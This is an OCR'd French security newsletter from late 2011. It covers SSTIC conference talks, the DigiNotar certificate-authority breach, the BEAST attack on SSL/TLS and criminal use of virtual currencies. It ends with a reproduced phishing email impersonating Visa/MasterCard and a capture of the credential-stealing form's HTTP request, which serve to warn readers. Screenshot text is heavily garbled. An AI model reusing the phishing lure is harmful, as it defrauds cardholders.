# Génération de graphes, par Guillaume Prigent (Dia-
team) ;

= Audits techniques et analyse de risque, par Vincent Fo-
rest (Education Nationale) ;

= Référentiels d’exigences applicables aux prestataires
d’audit de la SSI, par I'’ANSSI ;

== AirScan, par Raphaél Rigo. Outil de wardriving pour Nin-
tendo DS ;

== Et si j'ai pas un PC de gamer ?, par Nicolas Prigent ;

== Visualiser en sécurité, par Christopher Humphries (Supé-
lec Rennes) ;

= Pas vu... Pris, par Denis Ducamp (iTrust) ;

o= sécurité de I'implémentation de référence Java Card
2.2.2, par Julien Lancia (SERMA Technologies) ;

o= skyrack, par Jean-Baptiste Aviat (HSC) ;

== Faire planter nmap..., par Michel Arboi ;

== Orchids, par Baptiste Gourdin ;

== Incident Response Methodology, par Jean-Philippe Teis-
sier (CERT SG) ;

= Grandalf, Hierarchical Graph Drawing, par Axel Tillequin
(EADS Innovation Works) ;

= Security Analysis of the «Un-hackable» Victorinox Se-
cure ;
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= Device, par Martin Vuagnoux (EPFL) ;
= Usages offensifs de XLST, par Nicolas Grégoire. Teasing
pour sa conférence demain avec sa démo ;

Notre consultant Florent Hochwelker a pu présenter |'outil
développé dans le cadre de nos projets de certification PCl-
DSS : PanBuster.

Cet outil permet de rechercher des numéros de cartes bana-
caires sur tout type de systemes (Windows, Linux, Solaris,
AlX, etc.).

Le timing a été respecté et tout le monde s’est retrouvé le
soir au Social Event. Un espace dans la ville de Rennes a été
réservé pour les participants du SSTIC et la soirée fut agré-

mentée de petits fours, de mini sandwichs, de fromages et

de boissons.
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> Jour 3

Peut-on éteindre I'Internet ? - Stéphane Bortzmeyer

== Whitepaper :

wl=Slide :

Peut-on éteindre I'Internet ? Tres bonne question ! Stéphane
Brotzmeyer nous a présenté, de maniere tres conviviale,
les scénarios catastrophes qui pourraient nous couper du
monde (virtuel). Ainsi en se mettant a la place du «génie
du mal», il est possible d'éteindre Internet en coupant des
cables, de trouver une vulnérabilité 0-day dans des rou-
teurs, de faire des attaques de type déni de service sur des
serveurs racine DNS ou bien d'étre président dans une dic-
tature et simplement en donner |'ordre.

Stéphane a proposé de discuter sur la maniere d’améliorer
la résilience de I'Internet. Etant donné qu’il n’est pas pos-
sible de recréer tout I'Internet, il est nécessaire de trouver
des solutions pour améliorer le systeme actuel.

Les solutions existent, mais sont difficiles a mettre en place:
= La redondance physique, éviter les «<SPOF» (Single Point
of Failure), deux cables qui passent par le méme chemin
ne sert a rien ;

= Ecrire des logiciels sans bug. «Plus facile a dire qu’a
faire» ;

== Améliorer la coordination entre les acteurs.

Une conférence pleine de bonne humeur qui a soulevé de
réels problemes.
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Usages offensifs de XSLT - Nicolas Gregoire

== Whitepaper :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/
usages_offensifs_de xslt/SSTIC2011-Article-usages_offen-
sifs_de_xslt-gregoire.pdf

o= slide :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/
usages_offensifs_de_xslt/SSTIC2011-Slides-usages_offen-
sifs_de_xslt-gregoire.pdf

Cette présentation a déja été présentée au sein de I'article
consacré a Hack In Paris.

Systeme de stockage en ligne de photos avec confiden-
tialité des données personnelles - Luis Montalvo

== Whitepaper :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/sys-
teme_de_stockage-en-ligne_de_photos_avec_confid/
SSTIC2011-Article-systeme_de stockage-en-ligne_de pho-
tos_avec_confidentialite_des_donnees_personnelles-mon-
talvo.pdf

Le stockage en ligne de photos est un sujet sensible. Les
chercheurs de chez Technicolor Rennes nous ont expliqué
leur solution afin de chiffrer les images, mais aussi d’opti-
miser |'espace disque.

Le chiffrement se fait a I'aide d’un systeme de clé privé/
clé publique qui assure la confidentialité des données. Au
premier abord, rien de nouveau, mais comment améliorer
I'espace utilisé ? En employant une technique appelée chif-
frement convergent, il est possible de détecter les images
identiques et ce, méme si les fichiers sont chiffrés avec
des clefs différentes. Grace a des fonctions d’empreinte
d'image, I'on peut détecter les données similaires au sein
d’une image et méme d’une vidéo. Ainsi, en ne sauvegar-
dant qu’une seule fois ces données, I'espace de stockage
est réduit.

Une question reste en suspend, mes photos de vacances
seront-elles similaires aux votres ?

Un framework de fuzzing pour cartes a puce: applica-
tion aux protocoles EMV - Julien Lancia

== Whitepaper :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/fra-
mework_de fuzzing_pour_cartes_a_puce/SSTIC2011-Ar-
ticle-framework_de fuzzing_pour_cartes_a_puce-lancia.
pdf

Julien Lancia nous a présenté son framework de fuzzing du
protocole EMV. Le fuzzing est une technique qui permet de
tester une application ou un protocole de maniere automa-
tisée, dans le but de trouver des vulnérabilités.

Le protocole EMV est utilisé lors de transaction effectuée
avec une carte a puce, et comme dans tout protocole, les
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erreurs d'implémentation sont possibles. Julien n’est pas
parti de zéro. Il s’est appuyé sur des outils existants comme
le framework de fuzzing «Sulley». Sur 10 types de cartes
testés, Julien n’a trouvé qu’une seule vulnérabilité impor-
tante. La sécurité des cartes a puce et le respect des proto-
coles sont bons, mais pas encore excellents.

Sécurité ? - Hervé Schauer

o= slide :

Hervé Schauer, personnage emblématique de la sécurité
informatique, a été invité afin de cloturer cette 9e édition
du SSTIC. Une présentation haute en réflexion, voire méme
philosophique, sur la sécurité, I'état et les libertés. Les cita-
tions a retenir sont :

== «J’audite TMG mais je sais déja que ce sont des char-
lots.»

= «Les audits ne servent a rien.»

Tout n'est pas si noir et Hervé Schauer apporte aussi des
valeurs telles que celles d” «Avoir I'amour du travail bien
fait» ou d'«Aller au fond des choses».
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> Les autres

Malheureusement, nous n’avons pas eu le temps de décrire
toutes les présentations. Nous vous invitons donc a lire les
papiers disponibles aux adresses suivantes

Architecture DNS sécurisée - Guillaume Valadon, Yves-
Alexis Perez

== Whitepaper :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/archi-
tecture_dns_scurise/SSTIC2011-Article-architecture_dns_
scurise-valadon_perez.pdf

o= slide :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/archi-
tecture_dns_scurise/SSTIC2011-Slides-architecture_dns_
scurise-valadon_perez.pdf

Attacking and Fixing PKCS#11 Security Tokens with Too-
kan - Graham Steel

ok=slide : http://www.sstic.org/media/SSTIC2011/SSTIC-
actes/Tookan/SSTIC2011-Slides-Tookan-steel.pdf

sticky fingers & KBC Custom Shop - Alexandre Gazet

== Whitepaper :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/sticky
fingers_and_kbc_custom_shop/SSTIC2011-Article-sticky
fingers_and_kbc_custom_shop-gazet_1.pdf

Virtualisation d’un poste physique depuis le boot - Sté-
phane Duverger

== Whitepaper :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/virtua-
lisation_dun_poste_physique_depuis_le_boot/SSTIC2011-
Article-virtualisation_dun_poste_physique_depuis_le
boot-duverger_1.pdf

o=slide :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/virtua-
lisation_dun_poste_physique_depuis_le_boot/SSTIC2011-
Slides-virtualisation_dun_poste_physique_depuis_le_boot-
duverger.pdf

Attaque d’implémentations cryptographiques par ca-
naux cachés - Philippe Nguyen
Aucun slide , ni white-paper.

RRABBIDS, un systéme de détection d’intrusion pour les
applications Ruby on Rails - Eric Totel, Loic Le Henaff,
Romaric Ludinard

== Whitepaper :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/rrab-
bids/SSTIC2011-Slides-rrabbids-totel_le-henaff ludinard.
pdf



I’Actualité du moment

Que s’est-il passé au cours de ces dernieres
semaines au sein du petit monde de la
sécurité informatique ?

Ce mois-ci nous reviendrons sur |'affaire
DigiNotar , I'attaque BEAST et sur le white-
paper et phishing du mois...

Pentest/Attaques :

DigiNotar, le vilain petit canard
(par Stéphane JIN)

Recherche :

BEAST : la nouvelle attaque SSL ?
(par Adrien GUINAULT)

Le white-paper du moment :
Monnaies virtuelles : Les Nouveaux Circuits Financiers

Clandestins
(par Marie GARBEZ)

Le phishing du moment :

MasterCard et Visa
(par Adrien GUINAULT)
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L'année 2011 est mouvementée pour les Autorités de Certi-
fication. Apres Comodo en mars, et StartSSL en juin dernier,
c'est le tour de DigiNotar d'étre victime d’une attaque infor-
matique de grande ampleur.

Rappel des faits

DigiNotar, filliale néerlandaise de la société Vasco, a été
prise pour cible par des pirates. L'attaque, qui aurait débuté
autour du 6 juin 2011, n'a été détectée que le 19 juillet
dernier. Cependant, certaines traces remonteraient méme
a mai 20009.

il

l {5} DigiNotar B.V. (0034104847) [ML]| hitps://www.diginotar.nl
- - ®
, DigiNotar
A G VINSIDES COMPANY

Ga direct naar ...

D’apres un premier rapport intermédiaire publié par Fox-
IT, I'entreprise chargée d’enquéter sur cette attaque, la
sécurité de DigiNotar souffrait de nombreux points faibles.
Les enquéteurs ont pu, par exemple, constater |'absence
de logiciel antivirus sur les serveurs examinés, serveurs
qui étaient d'ailleurs tous infectés par des malwares. De
méme, I'architecture du réseau serait également a mettre
en cause, du fait d'un manque de ségrégation des éléments
critiques. De plus, les serveurs web accessibles depuis Inter-
net n'étaient pas a jour en termes de correctifs de sécurité.

En combinant des logiciels et des scripts, dont certains sont
qualifiés d’amateurs par Fox-IT, les attaquants ont pu obte-
nir les droits d’administration sur I'unique domaine Win-
dows de DigiNotar.
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Les pirates auraient ensuite produit plus de 500 de certi-
ficats frauduleux entre le 10 et le 20 juillet. Certains des
certificats émis seraient de type «EV», le plus haut niveau
de certification existant a I’heure actuelle. En effet, les in-
formations d’identification du détenteur du certificat et de
I'autorité de certification sont clairement mises en valeur.

Il semblerait que I'autorité de certification ait immédiate-
ment pris des mesures pour révoquer les certificats fraudu-
leux, mais ait omis celui qui permettait de certifier I'identité
des sous-domaines Google du type «*.google.com». Ce der-
nier a d'ailleurs été publié sur Internet.

De plus, DigiNotar n’utilisait pas la contrainte «Path Length
Constraint» définie dans la RFC 5280. Résultat, lorsqu’un
pirate détenait un certificat frauduleux, il était en mesure
de générer une infinité d’autres certificats valides.
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Une réponse de Vasco moyennement appréciée des
éditeurs

L'attaque a éclaté au grand jour grace a un message posté
le 28 aodt sur un des forums de Google. Un utilisateur ira-
nien s'étonnait alors de recevoir une alerte due a un mau-
vais certificat SSL dans Google Chrome lorsqu’il tentait de se
connecter a Gmail.

Help forum > Gmail > Coffee Shop (off-topic) > Is This MITM Attack to Gmaif's SSL 7
Is This MITM Attack to Gmail's SSL ?
a alibo Hi,
| e Today, when | trid to login to my Gmail account | saw a certificate waming in Chrome .
828i11 I took a screenshot and | saved certficate to a file .

this is the certificate file with screenshot in a zip file:
http:/fwww.mediafire.com/?rrklb17slctityb

and this is text of decoded fake certificate:
http://pastebin.com/ff7Yg663

when | used a vpn | didn't see any waming ! | think my ISP or my govemment did this attack (because | live

in Iran and you may hear something about the story of Comodo hacker!)

Suite a cette information, les différents éditeurs ont com-
mencer a réagir, notamment Microsoft et Google. Ce dernier
a d'ailleurs pris la responsabilité d’avertir lui-méme Mozilla.

Ce n’est qu’ensuite que Vasco, la maison-mere de DigiNo-
tar, a publié un communiqué confirmant que I'entreprise
avait bien été victime d’une attaque informatique, sans
toutefois apporter plus de précision.

Microsoft, Mozilla et Google ont fini par supprimer le certi-
ficat racine de DigiNotar, invalidant par la méme occasion
tous les certificats signés par ladite autorité, y compris les
certificats non frauduleux.

Le GovCERT, CERT du gouvernement néerlandais, avait de-
mandé aux éditeurs de ne pas mettre en liste noire les cer-
tificats émis par une autorité intermédiaire sous le controle
de DigiNotar dans le cadre du programme gouvernemen-
tal «PKloverheid» (PKIgovernment). En effet, ces certificats
avaient été émis indépendamment des autres et n’étaient
donc pas affectés par |'attaque. Cependant, apres avoir au-
dité l'autorité de certification en cause, le gouvernement
néerlandais a revu sa demande. Les éditeurs ont donc fina-
lement supprimer |'exception demandée préalablement.

«DigiNotar n’utilisait pas la contrainte «Path
Length Constraint» définie dans la RFC 5280.
Résultat, lorsqu’un pirate détenait un certifi-
cat frauduleux, il était en mesure de générer
une infinité d’autres certificats valides.»

Mozilla est allé encore plus loin que les autres éditeurs. En
effet, a la suite de cet incident et du manque de transpa-
rence de DigiNotar, Mozilla a demandé a toutes les autori-
tés de certification intégrées dans ses produits de mener
des audit de sécurité.

Au moment de I'écriture de cet article, Apple n’a toujours
pas réagi, le certificat racine de DigiNotar étant toujours
considéré comme sdr dans le trousseau de Mac 0S X et i0S.
Pourtant une mise a jour réglerait rapidement le probleme
contrairement aux différents smartphones sous Android,
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dont les mises a jour doivent étre déployées par les fabri-
cants.

L’origine de I'attaque

D’apreés des traces laissées par les attaquants et les princi-
paux utilisateurs touchés, les soupcons se tournent, une fois
de plus, vers le gouvernement iranien. En effet, la surveil-
lance du trafic OCSP («Online Certificate Status Protocol»)
relative au certificat frauduleux délivré pour le domaine
«*.google.com» a révélé que 99% des requétes prove-
naient d’lran.

Pourquoi I'lran chercherait a compromettre des autorités de
certification existantes ? Tout simplement parce que le pays
ne dispose pas d'autorité de certification qui lui est propre.
Ainsi, la compromission d’autres autorités existantes lui
permettrait d’obtenir des certificats valides et utilisables
dans le cadre d’espionnage. En effet, de tels certificats
pourraient étre utilisés afin d’accéder a toutes les commu-
nications entre certains serveurs protégés par SSL, et les
postes utilisés par les internautes iraniens. Ceci n’est cepen-
dant qu’une supposition.

De plus, Fox-IT aurait relevé une «signature» similaire a
celle utilisée dans |'attaque de Comodo. «ComodoHacker»
est d'ailleurs réapparu sur Internet et revendique une fois
de plus étre a l'origine de I'attaque. Le pirate déclare en
outre disposer d’acces a 4 autres autorités de certification,
dont GlobalSign, I'une des autorités de certification les plus
actives. Contrairement a DigiNotar, celle-ci a promptement
réagi en lancant une enquéte, et surtout en suspendant
toute émission de certificat durant cette enquéte.

La fin de DigiNotar...
Aprés cette affaire, DigiNotar a été grandement affectée.

Le 14 septembre, I'OPTA, I'autorité de régulation des télé-
communications hollandaises, a révoqué I'accréditation
donnée a la société pour l'autoriser a émettre des «certi-
ficats qualifiés». L'émission et la distribution de ce type de
certificats sont, en effet, beaucoup plus réglementées que
celles des certificats SSL et EV-SSL classiques.

Selon l'autorité de régulation, DigiNotar ne respectait pas
la législation hollandaise, et donc par ce biais la Iégislation
européenne. Ayant violé ces différentes lois, et d'apres les
différents rapports publiés démontrant le non-respect de
nombreux points de sécurité, il n’était plus possible pour les
Pays-Bas de faire confiance a DigiNotar en ce qui concerne
la gestion des certificats et I'authentification des personnes.
L'autorité a donc finalement jugé bon de révoquer I'autori-
sation qui lui avait été donnée.

Cette annonce signe donc probablement le coup de grace
pour DigiNotar.
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Le 19 septembre, Vasco Data Security International, a
annoncé la faillite de sa filiale DigiNotar BV. En vertu de
I'article 4 de la Loi sur la faillite néerlandaise, la société a
déposé un dossier a la Cour de district de Haarlem, Pays-
Bas, ce lundi 19 septembre 2011.

La Cour a nommé un syndicat de faillite (le «fiduciaire» )
et un juge des faillites (le «juge») pour gérer toutes les
affaires de DigiNotar.

«Bien que nous soyons attristés par cette action et les cir-
constances qu'il a nécessité», a déclaré T. Kendall Hunt,
président de Vasco et PDG, «nous aimerions rappeler a nos
clients et investisseurs que I'incident de DigiNotar n'a aucun
impact sur la technologie de Vasco coeur d’authentification.
Les infrastructures technologiques de Vasco et DigiNotar
restent completement séparées, ce qui signifie qu’il ny a
pas de risque pour l'infection de I'activité d'authentification
forte de Vasco.»

Cette faillite intervient aprés la compromission de ses certi-
ficats (voire (XA-2011-1545).
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Les dévouvertes de Julieno Rizzo et Thai Duong

Comme chaque année, de nouvelles recherches sont
menées pour tenter de «casser le protocole SSL». Apres
le «SSL renegociation» qui avait défrayé la chronique fin
2009, Ia nouvelle attaque a la mode se prénomme BEAST!
BEAST correspond 3 I'acronyme de
«Browser Exploit Against SSL/TLS».

Deux chercheurs sont récemment parvenus a mettre en pra-
tique une attaque jusqu’alors théorique sur le protocole SSL.
Juliano Rizzo et Thai Duong, les deux chercheurs en ques-
tion, n’en sont pas a leur coup d’essai (voir CXA-2010-1281).
ls ont, en effet, publié en 2010 une preuve de concept per-
mettant d’exploiter une faiblesse au sein de I'implémen-
tation de l'algorithme de chiffrement AES dans ASP.NET.

Cette fois-ci, les deux spécialistes ont exploité une
faille, connue de longue date, au sein du protocole
SSL/TLS. En effet, les premieres traces de cette vul-
nérabilit¢é remontent a 2002, mais aucune preuve
de concept n'avait été publiée jusqu'a présent
Le résultat de leurs recherches a été exposé a la conférence
EkoParty le 23 septembre 20113 Buenos Aires en Argentine.
Ces derniers ont démontré qu’il était possible, pour un pi-
rate réalisant une attaque de type «Man-in-the Middle» et
étant en mesure d’injecter des données choisies au sein
d’'une connexion protégée par SSL/TLS, de déchiffrer le
contenu d’un cookie de session envoyé via ladite connexion.

D’aprés les chercheurs, cette attaque ne s'applique-
rait qu’a la version 1.0 du protocole TLS et 3.0 de
SSL. Les versions supérieures de TLS (1.1 et 1.2) ne sont
donc pas concernées. Un trés grand nombre de navi-
gateurs sont donc vulnérables, car trés peu d’entre eux
supportent les derniéres versions de ces protocoles.

D’un point de vue cryptographique, la faille de sécurité pro-
viendrait d’une «simplification» voulue par les concepteurs
du protocole dans I'usage du mode d’opération cryptogra-
phique CBC («Cipher Block Chaining»). Dans un tel environ-
nement, deux possibilités existent dans I'utilisation du (BC:
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comme étant
nouveau vec-
teur d'initialisation (IV) pour chaque bloc a chiffrer ;

ok Traiter chaque bloc de données
indépendant, et donc générer un

ok Traiter les blocs de données comme un seul
objet a chiffrer, et donc les chainer (I'lV du bloc
n correspondant & la valeur chiffré du bloc n-1).
SSLv3 et TLS 1.0 ont choisi la seconde option. En partant de ce
constat, il est possible de retrouver le contenu d’'un message
chiffré en menant des attaques de type «texte en clair choisi».

Le principe de cette attaque consiste, comme son nom I'in-
dique, a faire chiffrer des données de son choix. La connais-
sance des données en clair et de leurs pendants chiffrés per-
met ainsi de déduire des informations sur le systeme ciblé.

«BEAST provient de I'acronyme de Browser
Exploit Against SSL/TLS...tout I’attaque réside
coté client...»

Une démonstration assez impressionnante a d’ailleurs été
réalisée lors de la conférence EkoParty. Une vidéo est dis-
ponible. Les chercheurs s'authentifient sur le site de Paypal
via le navigateur web Safari, et visitent, dans un autre on-
glet une page HTML contenant un applet Java malveillant.
En moins de 2 minutes, le cookie de session est déchiffré et
affiché bien que I'option Secure du cookie soit positionnée.
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Dans le méme temps, Google, pour qui Adam
Langley est l'un des principaux développeurs du
composant  SSL/TLS de Chrome, devrait propo-

ser une mise a jour de son navigateur afin de proté-
ger les internautes contre I'exploitation de cette faille.

Pour cela, Google aurait modifié la gestion du mode (BC.
Les deux chercheurs travailleraient d’ailleurs en étroite
collaboration depuis mai dernier avec les développeurs
des principaux navigateurs afin de proposer des correctifs.
Beaucoup de discussions ont ensuite eu lieu concer-
nant la véracité de cette faille de sécurité, et la possibi-
lité de I'exploiter. Il est important de rappeler a ce sujet
que les deux chercheurs ne sont pas novices, et qu'ils
ont déja fait leur preuve a de nombreuses reprises.

La presse s’enflamme!

Quelques heures aprés I'annonce, les médias se sont rapi-
dement empressés de publier des papiers avec des titres
trés accrocheurs.
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Bien entendu, les mots utilisés sont un peu forts mais le
«buzz» a rapidement fait le tour de la Toile.
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Les statistiques d’Ivan Ristic

Ivan Ristic, le chercheur en sécurité auteur du site SSL-
Labs qui a récemment été racheté par Qualys, a rapi-
dement réagit a la question que chacun peu se poser
: «pourquoi BEAST fait peur au monde de la sécurité ?».

En effet, depuis que le travail réalisé par Juliano Rizzo et Thai
Duong a été (partiellement) dévoilé (voir (XA-2011-1595),
nombreuses sont les personnes qui pourraient se demander
pourquoi ne pas simplement interdire les versions vulné-
rables des protocoles SSL et TLS au niveau des navigateurs
et/ou des serveurs, afin de n’utiliser dorénavant que les ver-
sions sares de TLS (1.1 et 1.2) qui sont suffisamment mares
pour cela. Elles datent respectivement de 2006 et 2008.

Le chercheur avait déja répondu a cette question de fa-
con anticipée lors d’'une conférence qu’il avait donnée
dans le cadre de la derniére BlackHat qui s'était dérou-
lée a Las Vegas cet été. Le chercheur, avait en effet pré-
senté une analyse sur l'utilisation des protocoles SSL/TLS
sur Internet. Pour cela, il s'était intéressé a la configura-
tion des serveurs web de 300 000 sites parmi 1,2 mil-
lion de sites les plus populaires d'apres la société Alexa.

Les résultats sont tres éloquents, puisqu’environ 98
% des serveurs supporteraient SSLv3 et TLS v1.0, dont
99 % de ces serveurs placent TLS V1.0 comme algo-
rithme a utiliser de préférence. Seulement, 0,3 %
des serveurs supportent et préferent utiliser TLS v1.1
et seulement 0,02 % pour la version 1.2 de TLS.

Bref, ces chiffres résument a eux seuls la situation, et la
difficulté de migrer subitement vers les versions sares du
protocole. Ils démontrent également le peu d'intérét des
administrateurs de serveurs pour la configuration SSL.
Peu de serveurs supportent ces versions du protocole ce
qui empéche les développeurs des navigateurs de reti-
rer le support des anciens protocoles vulnérables, et
ne les incitent pas a implémenter les nouvelles ver-
sions. A I'heure de |'écriture de cet article, seul Ope-
ra 10 supporte TLS 1.1 et TLS 1.2, et Internet Explo-
rer 8/9 sur Windows 7 ou 2008 R2 supporte TLS 1.1.
Ce probléeme pourrait aussi étre posé dans |'autre
sens et pourrait étre vu comme un cercle vicieux.

SSL est-il cassé ?

Le protocole SSL n’est donc pas encore mort puisque |'at-
taque affecte uniquement certaines versions du protocole
SSL/TLS. La version TLS 1.1 publiée depuis 5 ans n’est plus
vulnérable et permet de contrer cette attaque.

Par ailleurs, I'exploitation reste difficile et repose sur deux
facteurs :

=k 'injection de données choisies au sein d’une connexion
SSL/TLS déja établie ;

=k La mise en place d’une attaque «Man In The Middle»,
et donc le plus souvent, la nécessité pour I'attaquant de se
trouver dans le méme réseau local que sa victime.
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La nouveauté dans ces découvertes est que les deux cher-
cheurs ont, une fois de plus, réussi a mettre en ceuvre des
théories de chercheurs avec le développement d’un outil
«qui marche dans la vraie vie» !
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Cette nouvelle rubrique présentera, a chaque numéro, le
livre banc du moment a lire absolument !

Pour cette premiere, nous avons choisi le white-paper
publié récemment par Marie Garbez, notre consultante
cybercriminalité.

Ce papier de 43 pages aborde le theme des monnaies vir-
tuelles dont voici un résumé.

Qu’est ce qu’'une monnaie virtuelle ?

Dans un monde globalisé, interconnecté et libéralisé a ou-
trance, nos moyens de paiement quotidiens se sont révé-
lés inadaptés. L'argent doit, en effet, pouvoir circuler entre
les personnes instantanément, loin de considérations aussi
contraignantes que les taux de change, les vérifications
bancaires ou les délais d’envois.

L'idée est ainsi née de créer «des monnaies de I'Internet»,
qui se déplaceraient sur les réseaux de la Toile en toute
liberté et sans restriction. Ces monnaies dites «virtuelles»
ont pris une ampleur inattendue et concurrencent, voire
remplacent, peu a peu les devises traditionnelles.

Le nombre de monnaies virtuelles en circulation est parti-
culierement élevé et en réalité difficilement chiffrable. Ce
d’autant plus que les principaux acteurs du web (réseaux
sociaux, jeux en ligne, casinos virtuels etc.) s’aventurent
tous dans la création et la mise a disposition du public de
leurs propres monnaies privées.

L'intérét accru de ces sociétés commerciales apparait clai-
rement. Il est purement financier car, cette seule activité
économique générant chaque année plusieurs milliards de
dollars, méme les plus réticents commencent a entrevoir
des possibilités de profits non négligeables.

Dans toute cette agitation et cette course a la créativité,

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.

r du mois

AT

¥
s
E
i~
o
(%]
8
S
E
<

le consommateur serait presque oublié. Dans le fond, quel
peut étre son intérét a recourir a de tels moyens de paie-
ment ?

Quels sont les avantages de ces monnaies ?

Les avantages sont en réalité multiples :

== 'internaute peut acheter des biens en ligne ou effec-
tuer des transferts d’argent a d’autres internautes de facon
sécurisée. Exposer ses données bancaires sur des sites dont
le niveau de protection est inconnu est ainsi évité. Aussi,
le fait d’échanger instantanément et dans le monde entier
dans une monnaie virtuelle commune et sans frais d’envois
est une véritable innovation.

«Les monnaies dites «virtuelles»

ont pris une ampleur inattendue

et concurrencent, voire remplacent
peu a peu les devises traditionnelles.»

== Un atout non négligeable de ce systéme est I'anonymat
qu'il procure. La monnaie virtuelle s’achete en especes dans
les grandes surfaces, dans des tabacs ou des magasins spé-
cialisés. Elle est ensuite dépensée et échangée sans jamais
dévoiler sa véritable identité. En effet, les internautes ne
se connaissent que par des pseudonymes et, des |origine,
il n'a pas été prévu que les transactions effectuées par ce
biais soient tracables.

ok Le marché des monnaies virtuelles a entiérement révo-
lutionné les possibilités pour les internautes de gérer leurs
fonds. Cet argent immatériel est déja pleinement relié a
I'économie traditionnelle, conférant dés lors a des mon-
naies privées la méme Iéqitimité que celle concédée a des
devises nationales.

Le fait de posséder mille euros ou mille unités de mon-
naie électronique devient ainsi indifférent car les fonctions
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remplies par ces deux monnaies se superposent peu a peu
(réserve de valeur, unité de compte et intermédiaire dans
les échanges).

Exemple ci-dessous d’une publicité pour la monnaie élec-
tronique russe «Qiwi». La société fournit a tous ses utilisa-
teurs une carte Visa ou Mastercard afin de pouvoir dépenser
de I'argent virtuel dans la vie réelle.

Bce peHbru

B OAHOM KapMaHe

TMpuesxume kapmy Visa uau MasterCard

K QIW| KowensKy u naamume mak, Kax 6am ydobHo. _
a8

0% 1 2 3 4
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R s

«Tout I'argent dans une seule poche - Attachez la carte
Visa ou Mastercard a votre porte-monnaie Qiwi et payez,
comme cela vous est confortable.»

SHIREEER LI |

préférée des cybercriminels, le «Liberty Reserve», il est
possible de passer des ordres de bourse sur le marché des
changes (Forex), deuxieme marché financier de la planete.
Des sites Internet d’ «e-Courtier», propose a leur clientéle
de spéculer sur les taux de change des devises et ce, grace
a des dépots effectués en monnaie virtuelle. Jean-Pierre
Jouyet, président de I’Autorité des marché financiers décla-
rait d'ailleurs au mois de septembre 2011 que «jusqu’a
75% des transactions financieres réalisées dans le monde
se font de maniere opaque, hors des Bourses tradition-
nelles, et échappent au contréle du régulateur».

La suite de cet article dans le whitepaper disponible a
I'adresses suivante :

http://www.xmco.fr/whitepapers/XMCO-LesNouveauxCir-
cuitsFinanciersClandestins-Sept2011.pdf

Les dérives...

Néanmoins la plupart des sociétés émettrices
de monnaies virtuelles ont imposé certaines
limites a la liberté d'utilisation de leurs ser-
vices. En effet, les difficultés afférentes a
I'identification de I'utilisateur et la tracabilité
des opérations ont donné lieu a I'adoption de
deux principes élémentaires : soit I'utilisateur
ne peux plus effectuer de transactions lorsqu’il
atteint un certain plafond, soit I'argent virtuel
détenu par la clientele ne peut pas étre recon-
verti en argent matériel.

Ces deux gardes-fous n‘ont pas été respectés
par tous, ce qui a donné lieu a de graves dé-
rives. Lorsqu’il devient possible de détenir, de
facon anonyme, des sommes astronomiques
sur un compte virtuel et d’en disposer aussi
aisément qu’un véritable compte bancaire, les
premiers intéressés se sont bien évidemment
révélés étre les criminels et les candidats au
blanchiment de revenus illicites.

Les cybercriminels, connectés en permanence
aux réseaux informatiques, sont trés preneurs
de ces monnaies au mode de fonctionnement
laxiste. Grace 3 elles, ils achétent des données
frauduleuses ou rétribuent leurs acolytes.

Certaines monnaies virtuelles ont pu étre, sans
aucune contestation possible, reliées a des
groupes criminels. Malgré cela, I'extréme faci-
lité avec laquelle ces masses d’argent illicites
s'introduisent dans nos circuits financiers est \
déconcertante. Par exemple, avec la monnaie |\
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MasterCard et Visa toujours aussi phishés

Reprenons notre catégorie du Phishing avec un exemple
d’email recu récemment.

Subject: Votre Carte Bancaire est suspendue
Date: Tue, 2011 20:04:40 +0200

Verifiedby MasterCard.
VISA

Bonjour client de Visa Card ,
Votre Carte Bancaire est suspendue , Car Nous avons remarquer un probleme
sur votre Carte.

Mous avons determiner que quelgu'un a peut-etre utiliser Viotre Carte sans
votre autorisation. Pour votre protection, nous avons suspendue votre Carte
de credit. Pour lever cette suspention, Cliquez ici et suivez la procedure
indiquer pour Mettre a jour de votre Carte Credit.

Mote: Si ce n'est pas achever pendant 2 jours, nous serons contraints de
suspendre votre carte indfiniment, car il peut tre utiliser pour frauduleuses
Nous vous remercions de votre cooperation dans le cadre de ce dossier.
Merci,

Support Clients Service.

Copyright 1999-2011 VerifedbyVisa . Tous droits reserves.

Une fois le lien suivi, nous accédons au domaine alert-client.
com et le site web nous propose de vérifier notre identité.

Vérification de lidentité |

3L hupyjalent-client.com/ et ) G

Alaune

* = fom. - £ msges - @) information + L} Overs + ,” Entourer ~ 1, Redimensionner + 3 Outls + . VoirSource + (1] Options

¥

Sl doradaction

# Etape 1 - Vérification de I'identité. Liens utiles

o Gy [ ——
-

prénom: oo S e s

one donassace Rl Rl P ————

oferts par Visa

feresse tue de lachasse paments gardés en sécurts

Vite:* Paris Pluss0r e jamais avec Veifod by Visa,

oo Foste - commencer & futise 6és ajourd

08 Posiale 75001 Faie dos paments plus acie pour fos

Pays:* Franee £l envoprises

Telepnone -+ T En savor pussurlafagon cont Visa
Europo poutacor & réaiser des

Volre Emal PayPal: [e@meor économies Geficence dars o sociaur
pudlc

Mot Ge Passe PayPal —

Nom de jeune file e votre mére :* Dupont

# Etape 2 - Données Bancaires

[R— Dupont
arttant devarcue a dsance [ —

Nom il deaca Era—
Typedocar K] om [n:af 5]
Numerodocari [
Vo coce prsonne = T

Date dexpraton : *

ST ||

Cryptogramme :*

Vous avez par vcirocara Visa?  Vous voulez una cari Visa? Trouver un oo Home Contactus vdexcsie Accessbiit Intinié  © Visa Europe Copyright 2010

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.

Le Phishing du mois

Chris Greer

Comme tout Phishing qui se respecte, les coordonnées ban-

caires sont également demandées.

POST http://alert-client.con/FR-fr/security/vpv/onlineshop/visa/france/compte/confirmation/egyspider.php HTTP/1.1

Host: alert-client.com

User-Agent: Mozilla/5.8 (Macintosh; U; Intel Mac 0S X 10.6; fr; rvi1.9.2.16) Gecko/20110319 Firefox/3.6.16
Accept: text/html,application/xhtmlexnl,application/xml;q=B.9,+/+;q=0.8

Accept-Language: fr,fr-fr;g=0.8,en
